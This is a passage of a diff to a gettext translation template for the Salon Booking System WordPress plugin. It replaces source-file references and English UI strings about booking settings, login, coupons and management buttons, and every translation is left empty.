build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:16\n-msgid \"Disable reschedule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:401\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:439\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:512\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:532\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:401\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:439\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:512\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:532\n+msgid \"Loading...\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_rescheduling.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:17\n-msgid \"Select this option if you want disable the RESCHEDULE feature.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:261\n+msgid \"Lock Timing\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_rescheduling.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:38\n-msgid \"How many days before the appointment the rescheduling is still allowed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:297\n+msgid \"Log in to\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_rescheduling.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:41\n-msgid \"Users once logged in inside the MY ACCOUNT BOOKING page will be able to see the list of their upcoming confirmed or paid reservations and eventually RESCHEDULE them. An email notification will be sent to you and to the customers.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon.php:44\n+msgid \"Log-in\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_resources.php:10, src\u002FSLN\u002FPostType\u002FResource.php:213, src\u002FSLN\u002FPostType\u002FResource.php:217, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:213, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:217, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:213, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:213, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:213, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:213, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:217\n-msgid \"Resources\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70\n+msgid \"log-in with Facebook\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_resources.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:25\n-msgid \"Enable “Resources based reservations”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:188\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:188\n+msgid \"Logged-in administrators are automatically exempt from rate limiting\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:91\n+msgid \"Login\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_resources.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:28\n-msgid \"Enable this option to active the resources.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:150\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:150\n+msgid \"Lost Revenue:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_status.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:11\n-msgid \"Pause booking service \u003Cspan class=\\\"block\\\">If \u003Cstrong>OFF\u003C\u002Fstrong> the online booking form will be disabled and your users will see a message.\u003C\u002Fspan>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:637\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:637\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:184\n+msgid \"M j, Y @ G:i\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_status.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:15\n-msgid \"Online Booking Status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:111\n+msgid \"Main color\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_status.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:26\n-msgid \"Message on disabled booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:867\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:879\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:867\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:879\n+msgid \"Make more bookings to be able to use this coupon\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_status.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:37\n-msgid \"Booking is not available at the moment, please contact us at \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:886\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:886\n+msgid \"Make more customer score to be able to use this coupon\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:340\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:340\n+msgid \"Make service selection required\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_timing.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:11\n-msgid \"Booking time range \u003Cspan>Define the time range in wich customers may book an appointment\u003C\u002Fspan>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:43\n+msgid \"MANAGE\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_timing.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:15\n-msgid \"Range starts\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:32\n+msgid \"MANAGE BOOKING\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_timing.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:27\n-msgid \"Minimum\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192\n+msgid \"Manage service categories\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_timing.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:31\n-msgid \"Range ends\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:93\n+msgid \"Manage services, duration, price, categories.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_timing.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:43, 